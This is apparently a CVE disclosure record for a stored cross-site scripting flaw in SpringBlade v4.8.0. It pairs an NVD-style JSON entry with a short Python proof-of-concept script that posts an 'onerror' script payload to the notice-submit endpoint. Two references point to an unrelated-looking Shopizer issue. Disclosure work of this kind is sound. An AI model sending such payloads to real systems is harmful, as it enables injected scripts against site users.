CVE-2026-36763

import requests url = "http://target/api/blade-desk/notice/submit" payload = { "content": "<img src=x onerror=alert('XSS')>", # other necessary parameters if known, usually title etc. "title": "Test Notice" } # Send the malicious request response = requests.post(url, json=payload) print(response.text)

{"cve": {"id": "CVE-2026-36763", "sourceIdentifier": "[email protected]", "published": "2026-04-30T18:16:29.370", "lastModified": "2026-04-30T19:14:15.800", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored cross-site scripting (XSS) vulnerability in the /api/blade-desk/notice/submit endpoint of SpringBlade v4.8.0 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted input into the content parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/chillzhuang/SpringBlade", "source": "[email protected]"}, {"url": "https://github.com/chillzhuang/SpringBlade/issues/38", "source": "[email protected]"}, {"url": "https://github.com/shopizer-ecommerce/shopizer/issues/1091", "source": "[email protected]"}, {"url": "https://github.com/shopizer-ecommerce/shopizer/issues/1091", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}